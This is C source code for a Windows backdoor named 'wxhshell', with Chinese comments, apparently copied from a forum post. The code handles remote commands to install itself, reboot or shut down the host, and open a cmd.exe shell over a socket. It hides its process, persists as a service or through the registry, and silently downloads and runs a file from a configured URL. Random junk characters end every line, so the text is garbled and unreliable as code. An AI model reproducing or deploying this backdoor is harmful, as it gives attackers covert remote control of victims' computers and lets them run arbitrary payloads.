  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hBUn \~z  
  }  skViMo  
  else { u'DRN,h+  
E7UU  
    switch(cmd[0]) { sf87$S0  
  YnAm{YyI  
  // 帮助 lvz7#f L~  
  case '?': { azp):*f("  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P l]O\vh  
    break; <{cQM$ #  
  } \'D0'\:vz  
  // 安装 @o _}g !9=  
  case 'i': { mR:uj2*  
    if(Install()) Ya"a`ozq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =s2*H8]  
    else osAd1<EIC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *)T^Ch D,  
    break; ~Ea} /Au  
    } 4F'LBS]=0  
  // 卸载 Jhhb7uU+  
  case 'r': { 266h\2t6  
    if(Uninstall()) 9}<ile7^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g |yvF-+  
    else xF'EiX~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ @`V  
    break; .j0$J\:i  
    } [EXs  
  // 显示 wxhshell 所在路径 [D4SW#  
  case 'p': { "$^ ~!1~  
    char svExeFile[MAX_PATH]; WlC:l  
    strcpy(svExeFile,"\n\r"); ucW-I;"  
      strcat(svExeFile,ExeFile); *fS"ym@  
        send(wsh,svExeFile,strlen(svExeFile),0); 3$>1FoSk  
    break; 6Y?|w3f   
    } Fj3a.'  
  // 重启 N +_t-5  
  case 'b': { xy[3u?,&s!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); | rtD.,m   
    if(Boot(REBOOT)) !ons]^km  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y I  
    else { ,f'CD{E  
    closesocket(wsh); 9F;>W ET  
    ExitThread(0); 6}Ci>_i4#  
    } ag[wdoj  
    break; H=vUYz  
    } `0gyr(fES  
  // 关机 nT$SfGFj8  
  case 'd': { WO>nIo5Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D8?Vn"  
    if(Boot(SHUTDOWN)) s$`0yGmQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D'PI1 0t  
    else { c]o'xd,T8\  
    closesocket(wsh); {]@= ijjf  
    ExitThread(0); =K[yT:  
    } [<yaXQxl  
    break; P{>!5|k  
    } >jLY"  
  // 获取shell O-hAFKx  
  case 's': { L\"d  
    CmdShell(wsh);  |TH\`U  
    closesocket(wsh); sBg.u  
    ExitThread(0); %pL''R9VF  
    break; 0znR0%~  
  } .g<DD)`  
  // 退出 z,p~z*4  
  case 'x': { 0pd'93C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 16(QR-  
    CloseIt(wsh); p6Gy ,C.  
    break; []1C$.5DD  
    } *P=VFP  
  // 离开 E4/Dr}4  
  case 'q': { xOmi\VbM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wJo}!{bN  
    closesocket(wsh); ;'@9[N9  
    WSACleanup(); ~HsJUro  
    exit(1); N5 6g+,w%)  
    break; `d`T*_  
        } ^Y \"}D  
  } d^ 8ZeC#  
  } N<VJ(20y  
!z3jTv  
  // 提示信息 Cnh \%OW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X5$Iyis  
} xY(*.T9K  
  } 6?J i7F  
@K !T,U  
  return; Aw.qK9I  
} &B1WtW  
bK&+5t&  
// shell模块句柄 g:8h|w)  
int CmdShell(SOCKET sock) HQhM'x  
{ \Uq(Zga4)  
STARTUPINFO si; Ai3*QX  
ZeroMemory(&si,sizeof(si)); I,vJbvvl!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]GkfEh7/J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "@0]G<H  
PROCESS_INFORMATION ProcessInfo; +iRh  
char cmdline[]="cmd"; ENs&RZ;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JL{VD /f  
  return 0; Lk}J8 V^2  
} 7~.9=I'A  
V {ddr:]4  
// 自身启动模式 u\;C;I-? '  
int StartFromService(void) YUy0!`!`  
{ F{;((VboN  
typedef struct +VOK%8,p  
{ BUXpC xQ  
  DWORD ExitStatus; KB(8f*  
  DWORD PebBaseAddress; M%P:n/j  
  DWORD AffinityMask; )1`0PJoHE  
  DWORD BasePriority; w_K1]<Q*  
  ULONG UniqueProcessId; .p" xVfi6  
  ULONG InheritedFromUniqueProcessId; $DaNbLV  
}   PROCESS_BASIC_INFORMATION; r52gn(,  
-X2Buz8  
PROCNTQSIP NtQueryInformationProcess; ^8N}9a  
hT+_(>hT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .Vvx,>>D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R(G7m@@{  
RQ" ,3.R==  
  HANDLE             hProcess; d|Lj~x|  
  PROCESS_BASIC_INFORMATION pbi; ^o&. fQ*  
Z o(rTCZX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  S9FE  
  if(NULL == hInst ) return 0; .Rs^YZF  
H8}oIA"b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @Qt{jI !  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =^,m` _1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N2<!}Eyu  
_g"<UV*H  
  if (!NtQueryInformationProcess) return 0; i2SR{e8:GF  
5MJS ~(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O5T{eBo\  
  if(!hProcess) return 0; p}U ~+:v  
Yufc{M00  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $suzW;{#  
-;WGS o  
  CloseHandle(hProcess); :nOFR$ W  
d)Y}>@:W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TJXT-\Vk  
if(hProcess==NULL) return 0; w@w(-F!%l  
U26}gT)  
HMODULE hMod; |z^^.d~a0  
char procName[255]; .V8Lauz8  
unsigned long cbNeeded; z1X`o  
<*cikXS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LG#t<5y~  
{9.|2%a  
  CloseHandle(hProcess); suDQ~\ n  
hf&9uHN%7m  
if(strstr(procName,"services")) return 1; // 以服务启动 f x+/C8GK  
88wa7i*  
  return 0; // 注册表启动 ri-b=|h2j  
} J)p l|I  
q9s=~d7  
// 主模块 Jij*x>K>y  
int StartWxhshell(LPSTR lpCmdLine) T</F 0su|  
{ 6?c7$Y  
  SOCKET wsl; p9{mS7R9T  
BOOL val=TRUE; )MTOU47U  
  int port=0; #Ki[$bS~6  
  struct sockaddr_in door; &\*(Q*2N  
d5:c^`  
  if(wscfg.ws_autoins) Install(); j*r{2f4Rt  
!'*-$e  
port=atoi(lpCmdLine); c(s.5p ^  
xMG~N`r  
if(port<=0) port=wscfg.ws_port; T{[=oH+  
WCixKYq  
  WSADATA data; ] >E s4 s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <frutU16\  
GC}==^1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   amY!qg0P*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _E.>`Q  
  door.sin_family = AF_INET; f9{Rb/l!BQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [Y| t]^M  
  door.sin_port = htons(port); Z4 =GMXj  
JY(WK@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1#+S+g@#  
closesocket(wsl); p H2Sbs:Tk  
return 1; v):Or'$~M  
} ji0@P'^;  
t\7[f >  
  if(listen(wsl,2) == INVALID_SOCKET) { z!9-:  
closesocket(wsl); E+;7>ja  
return 1; </*6wpN  
} h2fNuu"  
  Wxhshell(wsl); }:)&u|d_  
  WSACleanup(); #?:lb1  
gc$l^`+M  
return 0; O3kA;[f;  
JDT`C2-Q  
} HLG"a3tt  
61'XgkacDS  
// 以NT服务方式启动 8FY?!C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ., 6-u  
{ -e:`|(Mo  
DWORD   status = 0; Z/+#pWBI!  
  DWORD   specificError = 0xfffffff; 6(ol1 (U  
oYH-wQj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cSV aI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DN:EB @  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l!u_"I8j5  
  serviceStatus.dwWin32ExitCode     = 0; g]0_5?i  
  serviceStatus.dwServiceSpecificExitCode = 0; 3)ywX&4"L  
  serviceStatus.dwCheckPoint       = 0; $-sHWYZ  
  serviceStatus.dwWaitHint       = 0; Uz]|N6`  
#QMz<P/Gl6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )\$|X}uny&  
  if (hServiceStatusHandle==0) return; 97!;.f-  
dvUic-w<j  
status = GetLastError(); g3y+&Y_  
  if (status!=NO_ERROR) oNF6<A(@$  
{ pFjK}J OF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *J`O"a  
    serviceStatus.dwCheckPoint       = 0; /9fR'EO{x  
    serviceStatus.dwWaitHint       = 0; O :Tj"@h  
    serviceStatus.dwWin32ExitCode     = status; Xc&9Glf  
    serviceStatus.dwServiceSpecificExitCode = specificError; Qzw;i8n{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /mzlH  
    return; NTs aW}g  
  } Z(CkZll  
"=MeM)K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e$rZ5X  
  serviceStatus.dwCheckPoint       = 0; b d!Y\OD  
  serviceStatus.dwWaitHint       = 0; },-H"Qs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }@d@3  
} hp|YE'uYT  
U&qZ"  
// 处理NT服务事件,比如:启动、停止 /cP"h!P}~~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?%[jR=w  
{ ?4T-@~~*`=  
switch(fdwControl) ysY*k`5  
{ /N.U/MPL_  
case SERVICE_CONTROL_STOP: 5`p.#  
  serviceStatus.dwWin32ExitCode = 0; ;;/{xvQ.1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;9QEK]@  
  serviceStatus.dwCheckPoint   = 0; p9-K_dw3X@  
  serviceStatus.dwWaitHint     = 0; AFwdJte9e  
  { uQKT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 63IM]J  
  } a9Zq{Ysj  
  return; [(7S.5I  
case SERVICE_CONTROL_PAUSE: ] Zh%DQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J5,9_uo]  
  break; c@L< Z`u  
case SERVICE_CONTROL_CONTINUE: ~((O8@}J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {]4LULq  
  break; sK?twg;D*|  
case SERVICE_CONTROL_INTERROGATE: l+0oS'`V*L  
  break; KHvYUTY  
}; ,Ma^&ypH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j^RmrOg ,  
} NC6&x=!3  
H3-hcx54T  
// 标准应用程序主函数 e~"U @8xk~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;#< 0<  
{ 19%i mf  
\1M4Dl5!  
// 获取操作系统版本  _;\_l  
OsIsNt=GetOsVer(); M/`lM$98:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }W^A*]X  
('+d.F[109  
  // 从命令行安装 F#5~M<`.o  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5'u<iSmBo  
R[]Mdt<  
  // 下载执行文件 M x" \5i  
if(wscfg.ws_downexe) { 2&J)dtqz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5146kp|1  
  WinExec(wscfg.ws_filenam,SW_HIDE); mgU<htMr1  
} Q\sK"~@3  
]JQULE)  
if(!OsIsNt) { m+z& Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 =~LJ3sIX  
HideProc(); %JTpI`  
StartWxhshell(lpCmdLine); 4 s9LB  
} t\O16O7S  
else 4Ftu  
  if(StartFromService()) lNO;O}8  
  // 以服务方式启动 C~exi[3  
  StartServiceCtrlDispatcher(DispatchTable); rEz^  
else :NTO03F7v  
  // 普通方式启动 `N8O"UcoBo  
  StartWxhshell(lpCmdLine); #}5uno  
&_8 947  
return 0; }"%N4(Kd  
}
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只看该作者 1 发表于: 2006-10-10
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